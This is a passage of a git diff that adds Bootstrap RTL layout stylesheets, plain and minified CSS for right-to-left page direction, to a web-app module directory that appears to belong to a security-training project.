+.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child { + border-top-right-radius: 3px; + border-top-left-radius: 0; +} +.panel > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child, +.panel > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child, +.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child, +.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child { + border-top-left-radius: 3px; + border-top-right-radius: 0; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child { + border-bottom-left-radius: 3px; + border-top-right-radius: 0; +} +.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child, +.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child, +.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child, +.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child { + border-bottom-right-radius: 3px; + border-top-left-radius: 0; +} +.panel > .table-bordered > thead > tr > th:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:first-child, +.panel > .table-bordered > tbody > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child, +.panel > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child, +.panel > .table-bordered > thead > tr > td:first-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:first-child, +.panel > .table-bordered > tbody > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child, +.panel > .table-bordered > tfoot > tr > td:first-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child { + border-right: 0; + border-left: none; +} +.panel > .table-bordered > thead > tr > th:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > th:last-child, +.panel > .table-bordered > tbody > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child, +.panel > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child, +.panel > .table-bordered > thead > tr > td:last-child, +.panel > .table-responsive > .table-bordered > thead > tr > td:last-child, +.panel > .table-bordered > tbody > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child, +.panel > .table-bordered > tfoot > tr > td:last-child, +.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { + border-right: none; + border-left: 0; +} +.embed-responsive .embed-responsive-item, +.embed-responsive iframe, +.embed-responsive embed, +.embed-responsive object { + right: 0; + left: none; +} +.close { + float: left; +} +.modal-footer { + text-align: left; +} +.modal-footer .btn + .btn { + margin-left: 0; + margin-right: 5px; +} +.modal-footer .btn-group .btn + .btn { + margin-right: -1px; + margin-left: 0; +} +.modal-footer .btn-block + .btn-block { + margin-right: 0; + margin-left: none; +} +.popover { + right: 0; + left: none; + text-align: right; +} +.popover.top > .arrow { + right: 50%; + left: none; + margin-right: -11px; + margin-left: 0; +} +.popover.top > .arrow:after { + margin-right: -10px; + margin-left: 0; +} +.carousel-inner > .item { + -webkit-transition: 0.6s ease-in-out right; + -o-transition: 0.6s ease-in-out right; + transition: 0.6s ease-in-out right; +} +.carousel-inner > .active { + right: 0; +} +.carousel-inner > .next { + right: 100%; + left: 0; +} +.carousel-inner > .prev { + right: -100%; +} +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + right: 0; +} +.carousel-inner > .active.right { + left: -100%; +} +.carousel-inner > .active.left { + right: 100%; +} +.carousel-control { + right: 0; + bottom: 0; +} +.carousel-control.left { + right: auto; + left: 0; + background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.5) 0%), color-stop(rgba(0, 0, 0, 0.0001) 100%)); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); +} +.carousel-control.right { + left: auto; + right: 0; + background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, 0.0001) 0%), color-stop(rgba(0, 0, 0, 0.5) 100%)); + background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); +} +.carousel-control .icon-prev, +.carousel-control .glyphicon-chevron-left { + left: 50%; + right: auto; + margin-right: -10px; +} +.carousel-control .icon-next, +.carousel-control .glyphicon-chevron-right { + right: 50%; + left: auto; + margin-left: -10px; +} +.carousel-indicators { + right: 50%; + left: 0; + margin-right: -30%; + margin-left: 0; + padding-left: 0; +} +@media screen and (min-width: 768px) { + .carousel-control .glyphicon-chevron-left, + .carousel-control .icon-prev { + margin-left: 0; + margin-right: -15px; + } + .carousel-control .glyphicon-chevron-right, + .carousel-control .icon-next { + margin-left: 0; + margin-right: -15px; + } + .carousel-caption { + left: 20%; + right: 20%; + padding-bottom: 30px; + } +} +.pull-right.flip { + float: left !important; +} +.pull-left.flip { + float: right !important; +} +.has-success .help-block, +.has-success .control-label, +.has-success .radio, +.has-success .checkbox, +.has-success .radio-inline, +.has-success .checkbox-inline { + color: #3c763d; +} +.has-success .form-control { + border-color: #3c763d; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-success .form-control:focus { + border-color: #2b542c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168; +} +.has-success .input-group-addon { + color: #3c763d; + background-color: #dff0d8; + border-color: #3c763d; +} +.has-success .form-control-feedback { + color: #3c763d; +} +.has-warning .help-block, +.has-warning .control-label, +.has-warning .radio, +.has-warning .checkbox, +.has-warning .radio-inline, +.has-warning .checkbox-inline { + color: #8a6d3b; +} +.has-warning .form-control { + border-color: #8a6d3b; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-warning .form-control:focus { + border-color: #66512c; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b; +} +.has-warning .input-group-addon { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #8a6d3b; +} +.has-warning .form-control-feedback { + color: #8a6d3b; +} +.has-error .help-block, +.has-error .control-label, +.has-error .radio, +.has-error .checkbox, +.has-error .radio-inline, +.has-error .checkbox-inline { + color: #a94442; +} +.has-error .form-control { + border-color: #a94442; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} +.has-error .form-control:focus { + border-color: #843534; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483; +} +.has-error .input-group-addon { + color: #a94442; + background-color: #f2dede; + border-color: #a94442; +} +.has-error .form-control-feedback { + color: #a94442; +} +/*# sourceMappingURL=bootstrap-rtl.css.map */ \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.min.css b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.min.css new file mode 100644 index 000000000..04e881ef1 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.min.css @@ -0,0 +1,9 @@ +/******************************************************************************* + * bootstrap-rtl (Version 3.2.0-rc1) + * Author: Morteza Ansarinia (http://github.com/morteza) + * Created on: June 13,2014 + * Project: bootstrap-rtl + * Copyright: See the file "LICENSE.md" for the full license governing this code. + *******************************************************************************/ + +html{direction:rtl}body{direction:rtl}.list-unstyled{padding-right:0;padding-left:none}.list-inline{padding-right:0;padding-left:none;margin-right:-5px;margin-left:0}dd{margin-right:0;margin-left:none}@media (min-width:768px){.dl-horizontal dt{float:right;clear:right;text-align:left}.dl-horizontal dd{margin-right:180px;margin-left:0}}blockquote{border-right:5px solid #eee;border-left:0}.blockquote-reverse,blockquote.pull-left{padding-left:15px;padding-right:0;border-left:5px solid #eee;border-right:0;text-align:left}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:right}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{left:100%;right:auto}.col-xs-pull-11{left:91.66666667%;right:auto}.col-xs-pull-10{left:83.33333333%;right:auto}.col-xs-pull-9{left:75%;right:auto}.col-xs-pull-8{left:66.66666667%;right:auto}.col-xs-pull-7{left:58.33333333%;right:auto}.col-xs-pull-6{left:50%;right:auto}.col-xs-pull-5{left:41.66666667%;right:auto}.col-xs-pull-4{left:33.33333333%;right:auto}.col-xs-pull-3{left:25%;right:auto}.col-xs-pull-2{left:16.66666667%;right:auto}.col-xs-pull-1{left:8.33333333%;right:auto}.col-xs-pull-0{left:auto;right:auto}.col-xs-push-12{right:100%;left:0}.col-xs-push-11{right:91.66666667%;left:0}.col-xs-push-10{right:83.33333333%;left:0}.col-xs-push-9{right:75%;left:0}.col-xs-push-8{right:66.66666667%;left:0}.col-xs-push-7{right:58.33333333%;left:0}.col-xs-push-6{right:50%;left:0}.col-xs-push-5{right:41.66666667%;left:0}.col-xs-push-4{right:33.33333333%;left:0}.col-xs-push-3{right:25%;left:0}.col-xs-push-2{right:16.66666667%;left:0}.col-xs-push-1{right:8.33333333%;left:0}.col-xs-push-0{right:auto;left:0}.col-xs-offset-12{margin-right:100%;margin-left:0}.col-xs-offset-11{margin-right:91.66666667%;margin-left:0}.col-xs-offset-10{margin-right:83.33333333%;margin-left:0}.col-xs-offset-9{margin-right:75%;margin-left:0}.col-xs-offset-8{margin-right:66.66666667%;margin-left:0}.col-xs-offset-7{margin-right:58.33333333%;margin-left:0}.col-xs-offset-6{margin-right:50%;margin-left:0}.col-xs-offset-5{margin-right:41.66666667%;margin-left:0}.col-xs-offset-4{margin-right:33.33333333%;margin-left:0}.col-xs-offset-3{margin-right:25%;margin-left:0}.col-xs-offset-2{margin-right:16.66666667%;margin-left:0}.col-xs-offset-1{margin-right:8.33333333%;margin-left:0}.col-xs-offset-0{margin-right:0;margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:right}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{left:100%;right:auto}.col-sm-pull-11{left:91.66666667%;right:auto}.col-sm-pull-10{left:83.33333333%;right:auto}.col-sm-pull-9{left:75%;right:auto}.col-sm-pull-8{left:66.66666667%;right:auto}.col-sm-pull-7{left:58.33333333%;right:auto}.col-sm-pull-6{left:50%;right:auto}.col-sm-pull-5{left:41.66666667%;right:auto}.col-sm-pull-4{left:33.33333333%;right:auto}.col-sm-pull-3{left:25%;right:auto}.col-sm-pull-2{left:16.66666667%;right:auto}.col-sm-pull-1{left:8.33333333%;right:auto}.col-sm-pull-0{left:auto;right:auto}.col-sm-push-12{right:100%;left:0}.col-sm-push-11{right:91.66666667%;left:0}.col-sm-push-10{right:83.33333333%;left:0}.col-sm-push-9{right:75%;left:0}.col-sm-push-8{right:66.66666667%;left:0}.col-sm-push-7{right:58.33333333%;left:0}.col-sm-push-6{right:50%;left:0}.col-sm-push-5{right:41.66666667%;left:0}.col-sm-push-4{right:33.33333333%;left:0}.col-sm-push-3{right:25%;left:0}.col-sm-push-2{right:16.66666667%;left:0}.col-sm-push-1{right:8.33333333%;left:0}.col-sm-push-0{right:auto;left:0}.col-sm-offset-12{margin-right:100%;margin-left:0}.col-sm-offset-11{margin-right:91.66666667%;margin-left:0}.col-sm-offset-10{margin-right:83.33333333%;margin-left:0}.col-sm-offset-9{margin-right:75%;margin-left:0}.col-sm-offset-8{margin-right:66.66666667%;margin-left:0}.col-sm-offset-7{margin-right:58.33333333%;margin-left:0}.col-sm-offset-6{margin-right:50%;margin-left:0}.col-sm-offset-5{margin-right:41.66666667%;margin-left:0}.col-sm-offset-4{margin-right:33.33333333%;margin-left:0}.col-sm-offset-3{margin-right:25%;margin-left:0}.col-sm-offset-2{margin-right:16.66666667%;margin-left:0}.col-sm-offset-1{margin-right:8.33333333%;margin-left:0}.col-sm-offset-0{margin-right:0;margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:right}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{left:100%;right:auto}.col-md-pull-11{left:91.66666667%;right:auto}.col-md-pull-10{left:83.33333333%;right:auto}.col-md-pull-9{left:75%;right:auto}.col-md-pull-8{left:66.66666667%;right:auto}.col-md-pull-7{left:58.33333333%;right:auto}.col-md-pull-6{left:50%;right:auto}.col-md-pull-5{left:41.66666667%;right:auto}.col-md-pull-4{left:33.33333333%;right:auto}.col-md-pull-3{left:25%;right:auto}.col-md-pull-2{left:16.66666667%;right:auto}.col-md-pull-1{left:8.33333333%;right:auto}.col-md-pull-0{left:auto;right:auto}.col-md-push-12{right:100%;left:0}.col-md-push-11{right:91.66666667%;left:0}.col-md-push-10{right:83.33333333%;left:0}.col-md-push-9{right:75%;left:0}.col-md-push-8{right:66.66666667%;left:0}.col-md-push-7{right:58.33333333%;left:0}.col-md-push-6{right:50%;left:0}.col-md-push-5{right:41.66666667%;left:0}.col-md-push-4{right:33.33333333%;left:0}.col-md-push-3{right:25%;left:0}.col-md-push-2{right:16.66666667%;left:0}.col-md-push-1{right:8.33333333%;left:0}.col-md-push-0{right:auto;left:0}.col-md-offset-12{margin-right:100%;margin-left:0}.col-md-offset-11{margin-right:91.66666667%;margin-left:0}.col-md-offset-10{margin-right:83.33333333%;margin-left:0}.col-md-offset-9{margin-right:75%;margin-left:0}.col-md-offset-8{margin-right:66.66666667%;margin-left:0}.col-md-offset-7{margin-right:58.33333333%;margin-left:0}.col-md-offset-6{margin-right:50%;margin-left:0}.col-md-offset-5{margin-right:41.66666667%;margin-left:0}.col-md-offset-4{margin-right:33.33333333%;margin-left:0}.col-md-offset-3{margin-right:25%;margin-left:0}.col-md-offset-2{margin-right:16.66666667%;margin-left:0}.col-md-offset-1{margin-right:8.33333333%;margin-left:0}.col-md-offset-0{margin-right:0;margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:right}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{left:100%;right:auto}.col-lg-pull-11{left:91.66666667%;right:auto}.col-lg-pull-10{left:83.33333333%;right:auto}.col-lg-pull-9{left:75%;right:auto}.col-lg-pull-8{left:66.66666667%;right:auto}.col-lg-pull-7{left:58.33333333%;right:auto}.col-lg-pull-6{left:50%;right:auto}.col-lg-pull-5{left:41.66666667%;right:auto}.col-lg-pull-4{left:33.33333333%;right:auto}.col-lg-pull-3{left:25%;right:auto}.col-lg-pull-2{left:16.66666667%;right:auto}.col-lg-pull-1{left:8.33333333%;right:auto}.col-lg-pull-0{left:auto;right:auto}.col-lg-push-12{right:100%;left:0}.col-lg-push-11{right:91.66666667%;left:0}.col-lg-push-10{right:83.33333333%;left:0}.col-lg-push-9{right:75%;left:0}.col-lg-push-8{right:66.66666667%;left:0}.col-lg-push-7{right:58.33333333%;left:0}.col-lg-push-6{right:50%;left:0}.col-lg-push-5{right:41.66666667%;left:0}.col-lg-push-4{right:33.33333333%;left:0}.col-lg-push-3{right:25%;left:0}.col-lg-push-2{right:16.66666667%;left:0}.col-lg-push-1{right:8.33333333%;left:0}.col-lg-push-0{right:auto;left:0}.col-lg-offset-12{margin-right:100%;margin-left:0}.col-lg-offset-11{margin-right:91.66666667%;margin-left:0}.col-lg-offset-10{margin-right:83.33333333%;margin-left:0}.col-lg-offset-9{margin-right:75%;margin-left:0}.col-lg-offset-8{margin-right:66.66666667%;margin-left:0}.col-lg-offset-7{margin-right:58.33333333%;margin-left:0}.col-lg-offset-6{margin-right:50%;margin-left:0}.col-lg-offset-5{margin-right:41.66666667%;margin-left:0}.col-lg-offset-4{margin-right:33.33333333%;margin-left:0}.col-lg-offset-3{margin-right:25%;margin-left:0}.col-lg-offset-2{margin-right:16.66666667%;margin-left:0}.col-lg-offset-1{margin-right:8.33333333%;margin-left:0}.col-lg-offset-0{margin-right:0;margin-left:0}}th{text-align:right}@media screen and (max-width:767px){.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-right:0;border-left:auto}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-left:0;border-right:auto}}.radio label,.checkbox label{padding-right:20px;padding-left:auto}.radio input[type=radio],.radio-inline input[type=radio],.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox]{float:right;margin-right:20px;margin-left:0}.radio-inline,.checkbox-inline{padding-right:20px;padding-left:0}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-right:10px;margin-left:0}.has-feedback .form-control{padding-left:42.5px;padding-right:auto}.form-control-feedback{left:0;right:auto}@media (min-width:768px){.form-inline .radio,.form-inline .checkbox{padding-right:0;padding-left:auto}.form-inline .radio input[type=radio],.form-inline .checkbox input[type=checkbox]{margin-right:0;margin-left:auto}}@media (min-width:768px){.form-horizontal .control-label{text-align:left}}.form-horizontal .has-feedback .form-control-feedback{left:15px;right:auto}.caret{margin-right:2px;margin-left:0}.dropdown-menu{right:0;left:auto;float:left;text-align:right}.dropdown-menu.pull-left{left:0;float:right;right:auto}.pull-left>.dropdown-menu{left:0;float:right;right:auto}.navbar-nav.pull-left>li>.dropdown-menu,.navbar-nav>li>.dropdown-menu.pull-left{right:auto;left:0}.btn-group>.btn,.btn-group-vertical>.btn{float:right}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-right:-1px;margin-left:0}.btn-toolbar{margin-right:-5px;margin-left:0}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:right}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-right:5px;margin-left:0}.btn-group>.btn:first-child{margin-right:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn-group{float:right}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group:last-child>.btn:first-child{border-bottom-right-radius:0;border-top-right-radius:0}.btn .caret{margin-right:0}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-right:0}.input-group .form-control{float:right}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:4px;border-top-right-radius:4px;border-bottom-left-radius:0;border-top-left-radius:0}.input-group-addon:first-child{border-right:1px solid #ccc;border-left:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-bottom-left-radius:4px;border-top-left-radius:4px;border-bottom-right-radius:0;border-top-right-radius:0}.input-group-addon:last-child{border-left:1px solid #ccc;border-right:0}.input-group-btn>.btn+.btn{margin-right:-1px;margin-left:auto}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-left:-1px;margin-right:auto}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-right:-1px;margin-left:auto}.nav{padding-right:0;padding-left:auto}.nav-tabs>li{float:right}.nav-tabs>li>a{margin-left:auto;margin-right:-2px;border-radius:4px 4px 0 0}.nav-pills>li{float:right}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-right:2px;margin-left:auto}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-right:0;margin-left:auto}.nav-justified>.dropdown .dropdown-menu{right:auto}.nav-tabs-justified>li>a{margin-left:0;margin-right:auto}@media (min-width:768px){.nav-tabs-justified>li>a{border-radius:4px 4px 0 0}}@media (min-width:768px){.navbar-header{float:right}}.navbar-collapse{padding-right:15px;padding-left:15px}.navbar-brand{float:right}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-right:-15px;margin-left:auto}}.navbar-toggle{float:left;margin-left:15px;margin-right:auto}@media (max-width:767px){.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 25px 5px 15px}}@media (min-width:768px){.navbar-nav{float:right}.navbar-nav>li{float:right}.navbar-nav.navbar-right:last-child{margin-left:-15px;margin-right:auto}.navbar-nav.navbar-right.flip{float:left!important}.navbar-nav.navbar-right .dropdown-menu{left:0;right:auto}}@media (min-width:768px){.navbar-text{float:right}.navbar-text.navbar-right:last-child{margin-left:0;margin-right:auto}}.pagination{padding-right:0}.pagination>li>a,.pagination>li>span{float:right;margin-right:-1px;margin-left:0}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-right-radius:4px;border-top-right-radius:4px;border-bottom-left-radius:0;border-top-left-radius:0}.pagination>li:last-child>a,.pagination>li:last-child>span{margin-right:-1px;border-bottom-left-radius:4px;border-top-left-radius:4px;border-bottom-right-radius:0;border-top-right-radius:0}.pager{padding-right:0;padding-left:none}.pager .next>a,.pager .next>span{float:left}.pager .previous>a,.pager .previous>span{float:right}.nav-pills>li>a>.badge{margin-left:0;margin-right:3px}.alert-dismissable{padding-left:35px;padding-right:15px}.alert-dismissable .close{top:-2px;right:0;left:21}.progress-bar{float:right}.media,.media-body{overflow:hidden;zoom:1}.media>.pull-left{margin-right:10px}.media>.pull-left.flip{margin-right:0;margin-left:10px}.media>.pull-right{margin-left:10px}.media>.pull-right.flip{margin-left:0;margin-right:10px}.media-list{padding-right:0;padding-left:auto;list-style:none}.list-group{padding-right:0;padding-left:none}.list-group-item>.badge{float:left}.list-group-item>.badge+.badge{margin-ight:5px;margin-left:0}.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child{border-top-right-radius:3px;border-top-left-radius:0}.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child{border-top-left-radius:3px;border-top-right-radius:0}.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px;border-top-right-radius:0}.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child 